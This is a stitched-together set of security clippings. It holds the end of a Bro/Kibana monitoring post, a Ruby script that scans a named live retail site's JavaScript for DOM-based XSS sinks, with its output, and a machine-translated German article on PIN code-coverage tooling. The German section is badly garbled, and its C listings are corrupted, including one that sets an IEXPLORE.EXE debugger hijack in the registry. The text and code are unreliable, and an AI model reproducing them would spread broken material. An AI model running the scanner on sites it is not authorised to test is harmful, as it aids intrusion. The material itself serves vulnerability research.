folder icon in Dashboard Control and select C3CMBroLogstash.json**.** I’ve
included one hour trending and search queries for each of the interesting Bro
logs**.** You can tune these to your heart’s content. You’ll note the
timepicker panel in the upper left-hand corner**.** Set auto-refresh on this
and navigate over time as you begin to collect data as seen in Figure 2 where
you’ll note a traffic spike specific to an Nmap scan**.**

<img src='img/Temp2_3931.png' />  
---  
FIGURE 2: Kibana dashboard with Nmap spike  
Dashboards are excellent, and Kibana represents a ton of flexibility in this
regard, but you’re probably asking yourself “How does this connect with the
Interrupt phase of C3CM**?** ” Bro does not serve as a true IPS per se, but
actions can be established to clearly “interrupt control and communications
capabilities of our digital assailants**.** ” Note that one can use Bro
scripts to raise notices and create custom notice actions per Notice
Policy**.** Per a 2010 write-up on the Security Monks blog , consider
Detection Followed By Action**.** “Bro policy scripts execute programs, which
can, in turn, send e-mail messages, page the on-call staff, automatically
terminate existing connections, or, with appropriate additional software,
insert access control blocks into a router’s access control list**.** With
Bro’s ability to execute programs at the operating system level, the actions
that Bro can initiate are only limited by the computer and network
capabilities that support Bro**.** ” This is an opportunity for even more
exploration and discovery; should you extend this toolset to create viable
interrupts \(I’m working on it but ran out of time for this month’s
deadline\), please let us know via comments or email**.**

**In Conclusion**

Recall from the beginning of this discussion that I've defined C3CM as methods
by which _to identify, interrupt, and counter the command, control, and
communications capabilities of our digital assailants**.**_

With Bro, Logstash, and Kibana, as part of our C3CM concept, the second phase
\(_interrupt_\) becomes much more viable: better detection leads to better
action**.** Next month we’ll discuss the _counter_ phase of C3CM using ADHD
\(Active Defense Harbinger Distribution\) scripts**.**

Ping me via email if you have questions \(russ at holisticinfosec dot
org\)**.**

Cheers…until next month.  
****

# Linkfiles In Forensic Examinations

**Created:**| _7/21/2010 7:02:43 PM_  
---|---  
**Updated:**| _7/21/2010 7:03:03 PM_  
**Author:**| __  
**Tags:**| _windows security Forensics Exploit reversing analysis
vulnerability windows environment_  
  
<img src='img/Temp2_4938' />

# Enumerate potential DOM-based XSS vulnerable code | AntiSnatchOr.com
**Created:**| _5/1/2011 9:52:04 AM_  
---|---  
**Updated:**| _5/1/2011 9:52:04 AM_  
**Author:**| __  
**Tags:**| _web-app-sec dom_  
  

## Enumerate potential DOM-based XSS vulnerable code

euronymous — 28 April, 2011 - 10:01

While waiting for Stefano di Paola release of DOMinator, I've spent a little
amount of time writing a Ruby script that uses Stefano regular expressions and
list the potentially DOM-based XSS vulnerable piece of code.  
  
The output needs manual verification, but at least it's something.  
  
Thanks .mario and Stefano for your research on the topic. And thanks Michal
for the "bugfix" regarding regex :-\)

?

1234567891011121314151617181920212223242526272829303132333435363738394041424344|
`# Given a set of JS/HTML/whatever files it search for potential DOM-based
XSS``# injection points based on regular expressions from
https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS``#``# author: Michele
"antisnatchor" Orru' (regex credit goes to Mario ".mario" Heiderich)``# v.
0.1` `require ``"net/http"``require ``"net/https"``require ``"uri"``require
``"erb"``require ``"singleton"``require ``"rubygems"` `MAIN_URL` `=
``'http://compraonline.mediaworld.it'``MAIN_DOMAIN` `=
``'compraonline.mediaworld.it'``PORT` `= ``80``HTTP_PROXY_HOST` `=
``'172.31.229.10'``HTTP_PROXY_PORT` `= ``8888` `PATHS_TO_TEST` `=
[``'/resources/script/new_hp.js'``,`` ``'/resources/script/commonTop.js'``,``
``'/resources/script/scripter.js'`` ``]` `puts ``"[+] starting requests to
#{MAIN_URL}"`` ``Net::``HTTP``::Proxy(``HTTP_PROXY_HOST``,
``HTTP_PROXY_PORT``).start(``MAIN_DOMAIN``) {|http|``
``PATHS_TO_TEST``.``each``{|path|`` ``url = ``URI``.parse(``MAIN_URL` `+
``':'` `+ ``PORT``.to_s + path)`` ``req =
Net::``HTTP``::Get.``new``(url.path)`` ``http.request(req) ``do` `|res|``
``line = ``1`` ``response = res.body.to_s.split(``"\n"``)``
``response.``each``{|i|`` ``# apply DOM-based xss regex to each HTTP response
line, printing out lineNumber and lineContent`` ``# that would potentially be
vulnerable to DOM-based XSS (NEED MANUAL VERIFICATION!)``
``if``(i.scan(/((src|href|data|location|code|value|action)\s*[``"'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["``'\]]*\s*\()/).size
> ``0` `||``
``i.scan(/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|``URL``|documentURI|baseURI|referrer|name|opener|parent|top|content|``self``|frames)\``W``)|(localStorage|sessionStorage|Database)/).size
> ``0``)`` ``puts ``"[#{path}]-#{line}: #{i}"`` ``end`` ``line += ``1`` ``}``
``end`` ``}`` ``}`  
---|---  
  
  
A sample of the output is the following:

?

123456789101112131415161718| `[/resources/script/commonTop.js]-``104``:
top.location.href = apUrl;``[/resources/script/commonTop.js]-``108``:
top.location.href = url;``[/resources/script/commonTop.js]-``113``:
document.location.href = ``"http://"` `+ server +
``"/webapp/wcs/stores/servlet/ListOrdersView?"`
`+apDefUrl;``[/resources/script/commonTop.js]-``117``: top.location.href =
``"http://"` `+ server + ``"/webapp/wcs/stores/servlet/BrandsView?"` `+
apDefUrl;``[/resources/script/commonTop.js]-``124``: document.cookie = name +
``"="` `+ ``"; expires=Thu, 01-Jan-70 00:00:01
GMT"``;``[/resources/script/commonTop.js]-``125``: top.location.href =
``"http://"` `+ serverMobi;``[/resources/script/commonTop.js]-``127``:
top.location.href = ``"http://"` `+ server +
"/webapp/wcs/stores/servlet/PartnerVisit?onlyInsert``=``Y``&partnerId=``7990000000000006500``&storeId=``20000``&bannerId=home_mwcol&url=compraonline.mediaworld.it/html/``LINKPROMO``.html?content=/offerte/mobi/sez1.html";``[/resources/script/commonTop.js]-``132``:
document.location.href = ``"http://"` `+ server +
``"/webapp/wcs/stores/servlet/ContactUsView?storeId=20000"``;``[/resources/script/commonTop.js]-``136``:
formObj.searchString.value =
formObj.searchString.value.replace(/%/g,``""``);``[/resources/script/commonTop.js]-``138``:
``if``( formObj.searchString.value.replace(/^\s+|\s+$/g,``""``).length < ``2`
`)``[/resources/script/commonTop.js]-``149``: formObj.categoryId.value =
document.getElementById(``'catGroupId'``).options[document.getElement``ById(``'catGroupId'``).selectedIndex].value;``[/resources/script/commonTop.js]-``156``:
window.open(``"http://"` `+ server
+``"/webapp/wcs/stores/servlet/NewsletterView?"` `+
apDefUrl,``"newsletter"``,``"width=440,height=354,scrollbars=no,resizable=no"``);``[/resources/script/scripter.js]-``75``:
this.layer.document.writeln(body[i]);``[/resources/script/scripter.js]-``82``:
this.element.innerHTML = body;``[/resources/script/scripter.js]-``88``:
this.element.innerHTML = body;`  
---|---  

# Code Coverage Analysis for Vulnerability Discovery

**Created:**| _3/30/2011 6:00:03 AM_  
---|---  
**Updated:**| _4/3/2011 2:46:41 PM_  
**Author:**| __  
**Tags:**| _bookmark binary instrumentation reversing code-checks awesome_  
  

### Analyse der Testabdeckung bei der Suche nach Schwachstellen

**Repost von einem Blog eSage Lab**

  

Der Kern des Problems zu analysieren Code Coverage \(Code Coverage\) ist eine
dynamische Analyse von ausführbaren Programmen zu ermitteln, was ein Teil
davon \(und wie oft\) durchgeführt. Wie nicht schwer zu erraten, Bereiche, in
denen die Lösung dieses Problems ist in der Nachfrage sind die Software-Testen
und Fuzzing, wie es Option ist mehr privat. Für Profis Informationen beteiligt
bei der automatisierten Erkennung von Schwachstellen, was die Analyse der
Testabdeckung ist besonders wertvoll, weil sie Schwachstellen können Sie
eindeutig die Wirksamkeit der verwendeten Methoden zu identifizieren, je mehr
Zweige Algorithmen Zielanwendung Test ausgeführt während der - die wirksame
und diese Testmethoden.  
  
Für Programme, die in kompilierten Code in Maschinensprache geschrieben sind,
gibt es mehrere Klassen von Tools zur Code-Coverage-Analyse:  

  1. Profilers, mit einem Zwischen-Darstellung \(Beispiel: LLVM , Vallgrind \). Ihr Hauptnachteil ist, dass diese Profiler Code eignen sich nur für die Analyse von Programmen mit verfügbaren Quelle.
  2. Tools, System verwenden Sie die Debugging-Bedienelemente zur Verfügung gestellt von den \(zum Beispiel: das System Callptrace \(\) in \* nix oder Debug-API in Windows\). Als Beispiel dieser Art können Programme führen ProcessStalker , RahmenPaiMei sowie viele zweifelhafte Arten von Skripten, die beide für das Debugging und die Ausführung in Form von einzelnen Instrumenten \( blocks.py , Tracer.py und andere\). Diese Tools haben eine Vielzahl von Fehlern, die ungeeignet macht sie ganz, wie eine ernsthafte Nutzung. Unter den wichtigsten sind: geringe Produktivität, Schwierigkeiten bei der Analyse der Leistungen aller Module im Rahmen des Verfahrens sowie in vielen Fällen die Notwendigkeit für eine vorläufige Analyse von Interesse für die Module mit Hilfe eines externen Programms \(IDA Pro\).
  3. Tools für den direkten Einsatz Debugging-Funktionen inhärent in den meisten Hardware-Architektur \(Beispiel: cfsearch , IKWYD\). Ansatz als solcher hat keine ausdrückliche Nachteile sowie die Machbarkeit der praktischen Anwendung eines Programms ist die Umsetzung bestimmt allein durch die Mängel ihrer.
  4. Full-Emulatoren, die Maschine virtuell sind, geändert durch die führt das gesamte Betriebssystem-Code, in einer Umgebung, die Anwendung läuft der Prüfling \(Beispiel: TEMU \). Der Hauptnachteil dieser Klasse von Programmen ist äußerst geringe Produktivität, da die Emulation unterliegt das gesamte Betriebssystem, nicht nur die zu testende Anwendung.
  5. JiT-Recompiler Durchführung einer Analyse der Durchführung des Programms durch eine Änderung seines Vorschriften bei der Ausführung Prozess \(Beispiel: PIN-Baukasten , DynamoRIO \). Meiner Meinung nach sind diese Werkzeuge frei von Nachteilen meisten der oben genannten, und daher besser geeignet für die Analyse der Testabdeckung für Fuzzing. Von den Unzulänglichkeiten vielleicht anzumerken, dass der Mangel an fertigen Tools dieser Art, geeignet zur Analyse von Code-Coverage-Kernel-Modus-Komponenten.

In diesem Artikel stelle ich die relativ obskuren, aber sehr leistungsfähiges
Tool namens PIN-Baukasten . PIN ist die funktionale und stabile Vertreter von
Programmen, die Kompilierung von Code verwenden dynamische Leistung zu
analysieren sein.  
  

### Grundlagen PIN

PIN wird von Intel für freie Entwicklung, die mit einer teilweise Open Source
in Form eines SDK für Linux, Windows und Mac OS X. kommt gesponsert PIN läuft
auf IA-32 Architektur IA-64 \(Itanium\) und Intel64 \(x86\_64\). Strukturell
kann es in die Hauptanwendung \(pin.exe\), im Rahmen der analysierten Prozess
Kernel \(pinvm.dll\) und Benutzerfreundlichkeit entwickelt Instrumentierung
Modul eingeführt aufgeteilt werden \(es ist auch im Kontext des analysierten
Prozess eingebettet\). Tool-Modul ist eine DLL-Bibliothek, die die API
verwendet, sofern der Kern der PIN. Das Wesen des API an die Handler, die den
Kern namens während der Ausführung von Code untersucht und die Anwendung Übung
sein wird, oder die Protokollierung für den Fortschritt der Leistung
Informationen, oder um die Logik der Ausführung der Anwendung Code in
irgendeiner Art und Weise ändern, dass die Entwickler-Tool-Modul erachtet fit
aufzeichnen.  
  
Die Arbeit mit dem Code analysiert bezeichnet Handler kann auf folgenden
Ebenen der Funktionalität und Granularität:  

  * Ausführbare Module. Handler, der Prozess wird aufgerufen, wenn beim Laden einer ausführbaren Modul im Kontext der aufgezeichnet wird mit der Funktion IMG\_AddInstrumentFunction \(\). Für die Arbeit mit ladbaren Moduls aus dem Handler verwendet andere IMG-Funktion , und die Abschnitte mit separaten - Funktionen SEC-Familie .
  * -Funktion. Handler-Funktion aufgerufen wird, dass für jeden, Studium des Programms ist die Funktion eingetragen imRTN\_AddInstrumentCall \(\). So arbeiten Sie mit den Anweisungen der Funktion innerhalb des Handlers verwendet werden sollte RTN\_InsHead \(\) / RTN\_InsTail \(\) sowie der Familie der INS-Funktionen , um sich die Hinweise.
  * Basic-Blöcke \(Basisblöcke\). Unter der Basisstation mittels eines linearen Codes Abschnitt direkt gelegen zwischen zwei Anweisungen sind, oder über den Einstieg Vektor Leistung, ändert den Wert von EIP \(CALL, JMP / Jxx, RET, und so weiter\). Handler, die Programm-Studie nennt für jede Basisstation registriert Funktion mit derTRACE\_AddInstrumentFunction \(\). Weisen Sie Handler zu trennen Basiseinheiten können BBL\_InsertCall \(\). Für die Arbeit mit einzelnen Anweisungen, aus denen sich der Basisstation Körper der Handler-Funktionen können die verwendet werdenBBL\_InsHead \(\) / BBL\_InsNext \(\).
  * Eigentlich ist die Anleitung selbst. Handler, die Programm-Studie nennt für jeden Befehl ist eingetragenes Funktion mit der INS\_AddInstrumentFunction \(\). Weisen Sie Handler für die einzelnen Aussagen mit Hilfe von INS\_InsertCall \(\). Zur Analyse der Anweisungen PIN verwendet eine Bibliothek XED genannt. Die API -Module auch für den Einsatz in Instrumentierung.

Da der Kernel PIN fängt Durchführung des Soll-Prozesses von der
Eintrittsstelle des Bootloaders - ein Werkzeug Module garantiert sicher nur
die Funktionen des PIN-a und den Standard C / C + +-Bibliotheken verwenden.
Der Versuch, zu verwenden, beispielsweise, Win32-API führt oft zu
unbrauchbaren Werkzeug-Modul.  
  
Viele Beispiele von Entwicklungswerkzeugen Module mit ausführlichen Kommentar
gibt es in der offiziellen Dokumentation .  
  
Wie bereits erwähnt, arbeitet PIN auf dem Prinzip der dynamischen Code neu
kompiliert Studiengänge: im Laufe der Ausführung in die notwendigen
Anweisungen schriftlich Passage \(JMP\) in pinvm.dll, welches Instrument Modul
Handler registriert ist und ändert der Benutzer \(oder Basisstation\) im
Anschluss an die aktuelle . So erreichen wir die Kontrolle über die Ausführung
von Code. Hohe Geschwindigkeit der Arbeit Studie Paket mit einer solchen
scheinbar komplexe Manipulationen mit ihnen ist durch das Fehlen von Overhead-
Kosten auf die Interaktion zwischen den Prozessen und fließen Wechsel zwischen
User-Modus und Kernel, der dich fressen den Großteil der CPU-Zeit bei der
Verwendung von traditionellen Methoden der Verfolgung gewährleistet. Was
interessant ist, unter normalen Arbeitsbedingungen PIN und komplexe Multi-
Threaded-Anwendungen und sogar sich selbst modifizierende Code, wie die
folgenden:  
  

[code]

    
[/code]

1 \# include < Windows.h \]\] >  2 3 \# pragma comment \(linker, "/ ENTRY:
f\_main"\) 4 \# pragma comment \(linker, "/ Abschnitt:. Text, EWR"\) 5 6 VOID
Func\_1 \(VOID\) 7 \{ 8 MessageBoxA \( 0 , \_\_FUNCTION\_\_ " \(\) aufgerufen
" , " Message " , 0 \) 9 \} 10 11 VOID Func\_2 \(VOID\) 12 \{ 13 MessageBoxA
\( 0 , \_\_FUNCTION\_\_ " \(\) aufgerufen " , " Message " , 0 \); 14 \} 1915
1916 \_\_declspec \(nackt\) void Func \(VOID\) 17 \{ 18 \_\_asm 19 \{ 20
schieben 0x90909090 21 ret 22 \} 23 \} 24 25 DWORD WINAPI f\_main \(VOID\) 26
\{ 27 DWORD Adresse = 0 ; 28 char szMessage \[ 0x50 \]; 29 30 \_\_asm 31 \{ 32
anrufen \_get\_addr 33 34 \_get\_addr: 35 36 pop eax 37 mov Adresse, eax 38 \}
39 40 wsprintf \(szMessage, " Adresse x 0x% .8 " , Adresse\); 41 MessageBoxA
\( 0 , szMessage, " Message " , 0 \) 42 43 \* \(PDWORD\) \(\(PUCHAR\) & Func +
1 \) = \(DWORD\) & Func\_1; 1944 1945 Func \(\); 46 47 \* \(PDWORD\)
\(\(PUCHAR\) & Func + 1 \) = \(DWORD \) & Func\_2; 1948 1949 Func \(\); 1950
1951 Return 0 ; 52 \} 53

[code]

      
    
    
[/code]

### Die Analyse der Code Coverage mit PIN

[code]

    Für die Analyse der Code Coverage mit der PIN haben wir genannten entwickelten ein relativ einfaches Werkzeug-Modul sowie einige andere Tools in einem Einzelbild kombiniert, dass gesetzt worden Code Coverage Analysis Tools . Es umfasst:  
    
    
[/code]

  * **Coverager.dll** \- Eigentlich das Werkzeug Modul-PIN.
  * **coverage\_test.exe** \- Test-Applikation, die Berichterstattung ermöglicht Zuordnung von Code für Internet Explorer-Hilfe einer PIN und Coverager.dll.
  * **coverage\_parse.py** \- Ein Skript zur Arbeit mit Protokollen, die Coverager.dll erzeugt.
  * **symlib.pyd** \- Symbole verwendet coverage\_parse.py kleine Python-Bibliothek für die Arbeit mit HVE.

[code]

    Gebraucht diese Tools wie folgt:  
    
    
[/code]

  1. Sie müssen zuerst zum Download neueste Version von PIN und entpacken Sie das Archiv in ein beliebiges Verzeichnis.
  2. Kopieren Coverager.dll ein Verzeichnis mit PIN.
  3. Bearbeiten Sie das Skript execute\_pin.bat, unabhängig von der Umgebungsvariable PINPATH mit den eigentlichen Pfad der PIN.

[code]

    Zur Erstellung der Karten decken den Code jeder Anwendung sollte execute_pib.bat laufen von der Konsole aus, wodurch es in der Befehlszeile an die Zielanwendung als Argument ausgeführt. Beispiel:  
    
    
[/code]

[code]

    > Execute_pin.bat calc.exe
    
[/code]

[code]

    Nach Abschluss der Zielanwendung im aktuellen Verzeichnis erstellt folgende Text-Dateien werden:  
    
    
[/code]

  * **CoverageData.log** \- Allgemeine Informationen über den Prozess unter-Studie \(Größe der Karte Abdeckung, Anzahl der Threads und ausführbare Dateien, und so weiter\).
  * **CoverageData.log.modules** \- Liste der vollständigen Pfade zu ausführbaren Dateien, die der Prozess geladen wurden in den Kontext.
  * **CoverageData.log.routines** \- Informationen über die Features, die Steuerung erfolgt während der Ausführung des Prozesses.
  * **CoverageData.log.blocks** \- Informationen zu einzelnen Basisblöcke von Anweisungen, die Steuerung erfolgt während der Ausführung des Prozesses.

[code]

    Dateien CoverageData.log.routines und CoverageData.log.blocks enthalten Informationen über Funktionen / Einheiten von alle ausführbaren Dateien, einschließlich der Datei des Prozesses selbst als auch ein Standard-System (ntdll, kernel32, user32, und so weiter) und alle anderen Shared Library-Dateien .  
      
    Für die Bereitstellung von Informationen der oben genannten Protokolle in eine bequeme Möglichkeit, ein Skript coverage_parse.py, die die folgenden Schalter nimmt:  
    
    
[/code]

[code]

    > Python coverage_parse.py <log_file_path> <- dump-Blöcke | - dump-Routinen> [other_options]
    
[/code]

[code]

    Wie bereits angedeutet <log_file_path> Weg CoverageData.log und einer der wesentlichen Schlüssel - dump-Blöcke, oder - dump-Routinen gibt die Informationen auf das Niveau der Granularität sollte funktionieren (Basisblöcke oder Funktionen).  
      
    Als optionaler Parameter gibt die folgenden Schlüssel:  
    
    
[/code]

  * **\- Outfile <Dateipfad>** \- Speichern Sie die Informationen in der Datei, anstatt auf der Konsole.
  * **\- Bestell-by-Namen** \- Sortiert die Ausgabe nach Namen \(at\) Symbol, das\) entspricht der Funktion oder der Basisstation \(dies ist der Standardmodus.
  * **\- Bestell-by-Anrufe** \- Sortierung Ausgang durch die Anzahl der Aufrufe der Funktion oder Basisblock.
  * **\- Module <modules>** \- Holen Sie sich Informationen für diese Module \(mit Namen\). die Namen der Orte \(z. B.: -\) "Module" iexplore.exe, ieframe.dll zu trennenden senden Sie eine Liste aus mehreren Modulen sollte aus. Wenn die Option - Module nicht aufgeführt - in der Skript-Ausgabe verarbeitet auch Informationen über alle ausführbaren Module der.
  * **\- Skip-Symbole** \- Standardmäßig Skript lädt automatisch die PDB-Zeichen für die erforderliche ausführbare Dateien und verwendet die sie Blöcke verwandeln die Adressen aller Funktionen und grundlegenden, um das Formular-Modul versetzt\! Symbol +. Option - no-Symbole können Sie Symbole deaktivieren Sie die Download-PDB, in diesem Fall die Adressen in der Ausgabe werden alle ofsset + dargestellt werden als Modul.

[code]

    Beispiel für die Verwendung Skript, um Informationen über die am häufigsten aufgerufenen Funktion Modul calc.exe zu bekommen:  
    
    
[/code]

[code]

    > Python coverage_parse.py CoverageData.log - dump-Routinen - Module "calc" - Order-by-Anrufe SYMLIB: DLL_PROCESS_ATTACH SYMLIB: Symbole path "ist \ Symbols; SRV *. \ Symbols * http://msdl. . microsoft.com / download / symbols "SYMLIB: Modul geladen von" C: \ Windows \ system32 \ calc.exe "SYMLIB: 2774 Symbole für beladene" C: \ Windows \ system32 \ calc.exe "Filterung nach Modulnamen" calc "[+] Bestellung Liste nach der Anzahl der Anrufe [+] Parsing-Routinen Liste, bitte warten ... # # Fordert Count - Funktion Name # 11560 - calc.exe UIntAdd 7863 - calc.exe ATL:!: CAtlArray <ATL:: CAtlRegExp:: Unterricht, ATL:: CElementTraits <ATL::CAtlRegExp::INSTRUCTION> >:: operator [] 6559 - 5780 calc.exe _destroynum - calc.exe ULongLongToUInt 5780 - calc.exe _createnum 5102 - calc.exe ATL:!!: CAtlRegExp: MatchToken 3788 - calc.exe ! ATL:: CAtlArray <ATL:: CAtlRegExp:: Unterricht, ATL:: CElementTraits <ATL::CAtlRegExp::INSTRUCTION>>:: setcount 3416 - calc.exe ATL:: CAtlArray <ATL:: CAtlRegExp:: ANLEITUNG , ATL:: CElementTraits <ATL::CAtlRegExp::INSTRUCTION>>:: CallConstructors 3404 - calc.exe ATL:: CAtlRegExp::! AddInstruction 3196 - calc.exe addnum 2902 - calc.exe lessnum 2636 -! - calc.exe memcpy 2470 - calc.exe _addnum 2453 - calc.exe __security_check_cookie 1743 - calc.exe CArgument!!: getPosition 1084 - calc.exe CCalculatorMode:: HandleBackgroundForChildWindows 1084 - calc.exe ! CProgrammerMode::! ProgDlgProc 918 - calc.exe Betreiber delete [] 895 - calc.exe CEditBoxInput:: HandleDlgProcMessage 704 - calc.exe ATL:: CAtlArray <FORMULA_PART *,ATL::CElementTraits>: GetAt ... übersprungen ein paar hundert Funktionen ... 1 - calc.exe Gdiplus:: Graphics:: Graphics 1 - calc.exe GdipGetImageGraphicsContext 1 - calc.exe Gdiplus:: Graphics:: SetInterpolationMode 1 - calc.exe GdipSetInterpolationMode 1 - calc.exe! ! Gdiplus:: Graphics::! SetSmoothingMode 1 - calc.exe GdipSetSmoothingMode 1 - calc.exe CProgrammerMode: ShowBitStrip 1 - calc.exe CProgrammerMode:: NormalizeCurrentBit 1 - calc.exe CIO_vUpdateDecimalSymbol [+] Verarbeitete! Module Liste: # # Routinen zählen - Modulname # 422 - gdiplus.dll 58 - winmm.dll 107 - apphelp.dll 221 - gdi32.dll 370 - kernel32.dll 196 - msvcrt.dll 57 - - oleaut32.dll 30 - dwmapi.dll 692 - ntdll.dll 60 - shlwapi.dll 5 - sechost.dll 92 - imm32.dll 705 - calc.exe 28 - cryptbase.dll 37 - advapi32 . dll 577 - ole32.dll 33 - lpk.dll 825 - msctf.dll 10 - Version.dll 309 - usp10.dll 278 - windowscodecs.dll 483 - uxtheme.dll 138 - oleacc.dll 1995 - clbcatq.dll 251 - comctl32.dll 258 - kernelbase.dll 117 - shell32.dll 25 - rpcrt4.dll 465 - user32.dll [+] DONE SYMLIB: DLL_PROCESS_DETACH
    
[/code]

[code]

    PIN auch richtig analysiert ausführbaren Code, die keinem Modul geladen geleitet und ist in einer beliebigen ausführbaren Speicher-Seite befindet. Um Informationen über einen solchen Code von Protokollen für coverage_parser.py muss angeben erhalten "?" wie der Name des Moduls:  
    
    
[/code]

[code]

    > Python coverage_parse.py CoverageData.log - dump-Routinen - Module "?" SYMLIB: DLL_PROCESS_ATTACH SYMLIB: Symbole Pfad "\ Symbols; SRV *. \ Symbols * http://msdl.microsoft.com/download/symbols." Filterung nach Modulnamen "?" [+] Parsing-Routinen Liste, bitte warten ... # # Fordert Count - Funktion Name # 5 -? 0x541be250 5 -? 0x55009060 ...
    
[/code]

[code]

    Wie Sie sehen können - in der Ausgabe eines solchen Kodex wird in einer Form präsentiert werden <Adresse>?.  
      
    
    
[/code]

### Testen

[code]

    Vor kurzem gab wurde folgende Trends erkennen: viele Forscher die Analyse der Entwicklung verschiedener Systeme von dynamischen Code, als Beleg für die Leistungsfähigkeit dieser Systeme beziehen sich auf die Prüfungen, für die als Objekt Notizblock benutzt um kleine Anwendungen wie Calc oder, und alle möglichen Variationen hackme.exe / vulnerable.exe von ein Dutzend Stiche. Am häufigsten Erscheinungen sprechen diese oder ist nicht mit dem Werkzeug zu lösen sein oder nachweisliche Probleme aus dem wirklichen Leben, dass die Entwickler dieses Tools auch scharf auf ihn selbst, und behandelt sie losgelöst von praktischen Problemen.  
      
    Da diese Trends haben wir nicht teilen - als eine Demonstration des Modul-PIN und instrumentale Coverager.dll wird die Ergebnisse ihrer Prüfung auf die Konstruktion von Karten für den Code des Internet Explorer 8, das Arbeiten in einer Umgebung von Windows 7 SP1.  
      
    Um zu testen, das Programm geschrieben wurde coverage_test.exe, ein wichtiger Teil des Quellcodes ist wie folgt:  
    
    
[/code]

[code]

    
[/code]

1 int \_tmain \( int argc, \_TCHAR \* argv \[\]\) 2 \{ 3 char \* lpszCmdLine =
GetCommandLine \(\); 4 char \* lpszCmd = strstr \(lpszCmdLine, " @ " \); 5
wenn \(lpszCmd == NULL\) 6 \{ 7 / \* 8 Befehlszeile zum Starten der externen
Anwendung angegeben wird, nicht, 9 wurde coverage\_test Linie lanciert von der
Kommandozeile. 10 \* / 11 char szSelfPath \[MAX\_PATH\] szExecPath
\[MAX\_PATH\]; 12 GetModuleFileName \(GetModuleHandle \(NULL\), szSelfPath,
MAX\_PATH\); 13 DWORD dwTestIterations = 1 ; 14 15 SetConsoleCtrlHandler
\(CtrlHandler, TRUE\); 1916 1917 / \* 1918 Register eine ausführbare Datei des
aktuellen Prozesses wie ein Debugger an IEXPLORE.EXE, 1919 , wenn Sie System
versuchen zu laufen wird Datei starten unsere Anwendung und den Pfad zur
ausführbaren 20 IEXPLORE.EXE wird ihn gesendet werden Befehlszeilenargument.
als 21 \* / 22 sprintf\_s \(szExecPath, " \ "% s \" @ " , szSelfPath\); 23
SetImageExecutionDebuggerOption \( " IEXPLORE.EXE " , szExecPath\); 24 25 für
\( int ich = 1 ; ich < argc, ich \+ + \) 26 \{ 27 , wenn \( \! strcmp \(argv
\[I\], " \- Iterationen " \) & & argc \]\] >  Ich + 1 \) 28 \{ 29 / / Anzahl
der Iterationen für den Test 30 dwTestIterations = atoi \(argv \[I + 1 \]\) 31
printf \( " Iterationen zählen:% d \ n " , dwTestIterations\); 32 \} 33 sonst
, wenn \( \! strcmp \(argv \[I\] " \- Instrumentation-Pfad " \) & & argc \]\]
>  Ich + 1 \) 34 \{ 35 / \* 36 Der Weg zum instrumentalen Programm \(in diesem
Fall pin.exe\), 1937 speichern Sie es in die Registry-Einstellungen und
verwendet bei der Ausführung IEXPLORE.EXE 1938 \* / 1939 SetOptionalApp \(argv
\[I + 1 \]\) 40 printf \( " Instrumentation Werkzeug Pfad: \ "% s \" \ n " ,
argv \[I + 1 \]\); 41 \} 42 \} 43 44 / / initialisieren KOM 1945 HRESULT hr =
CoInitializeEx \(NULL, COINIT\_MULTITHREADED\); 1946 , wenn \(FAILED \(hr \)\)
47 \{ 48 printf \( " CoInitializeEx \(\) Fehler 0x% .8 x \ n " , HR\); 49
Springen am Ende, 50 \} 51 52 DWORD dwTime = GetTickCount \(\); 53 54 / /
Bearbeiten der Einstellungen IE: Aktivieren eines einzelnen Prozesses Modus 55
DisableIeMultiprocessMode \(\); 56 57 / \* 58 nennen, die geöffnet wird. IE
Testadresse angegebene Anzahl von Funktion 59 interagieren mit dem Verfahren
der Browser-Schnittstelle verwendet. IWebBrowser2 zu 60 \* / 61 IeOpenUrl
\(TEST\_URL, dwTestIterations\); 62 63 / / Messzeit Leistung von 64 dwTime =
GetTickCount \(\) - dwTime; 65 printf \( " Ausführungszeit:% d MS \ n " ,
dwTime\); 66 67 EnableIeMultiprocessMode \(\); 68 SetOptionalApp \(NULL\); 69
\} 70 sonst 71 \{ 72 / \* 73 Aktuelle Prozess wurde eingeleitet über das
System als Ergebnis der Versuche 74 laufen IEXPLORE.EXE. 1975 \* / 1976 DWORD
dwExitCode = 0 ; 77 char szOptional \[MAX\_PATH\] szCmdLine \[MAX\_PATH\]; 78
strcpy\_s \(szCmdLine, MAX\_PATH, lpszCmd\); 79 80 lpszCmd \+ = 2 ; 81 82 / /
löschen Option "Debugger" für IEXPLORE.EXE 1983
SetImageExecutionDebuggerOption \( " IEXPLORE.EXE " , NULL\); 84 85 / /
erhalten Sie den Pfad zu den instrumentalen Programm 86 wenn \(GetOptionalApp
\(szOptional, MAX\_PATH\)\) 87 \{ 88 sprintf\_s \( szCmdLine, " \ "% s \"% s "
, szOptional, lpszCmd\); 89 \} 90 91 / / starten IE c mit PIN 1992 printf \( "
CmdLine:% s \ n " , szCmdLine\); 93 ExecCmd \( & dwExitCode, szCmdLine\); 94
\} 95 96 Ende: 97 printf \( " Press any key to quit ... \ n " \); 98 \_getch
\(\); 99 100 zurück 0 ; 101 \}

[code]

    Coverage_test.exe Programm ist Teil der Code-Coverage-Analyse-Tools , starten Sie es Befehlsargument Linie sollte geschehen mit einem Skript die coverage_test_with_pin.bat, die initiiert die Einführung von Internet Explorer-Browser unter der Kontrolle des PIN und führt mit ihr eine Reihe von Test wie beschrieben Iterationen, die war zu coverage_test_with_pin.bat. Jeder Test Iteration ist eine Öffnung Adresse mit google.com IWebBrowser2:: Navigate () und warten auf die Durchführung einer vollständigen Seite zu laden.  
      
    Mit diesem Programm war fünf Testreihen mit der Anzahl der Iterationen 1, 5, 10, 20 und 30 durchgeführt. Unterhalb des Histogramms der Abhängigkeit der Leistung des Browsers (in Millisekunden) der Anzahl der Iterationen:  
      
    
    
[/code]

<img src='img/Temp2_1504.png' width='521' height='355' />

[code]

    
[/code]

[code]

    
[/code]

[code]

      
      
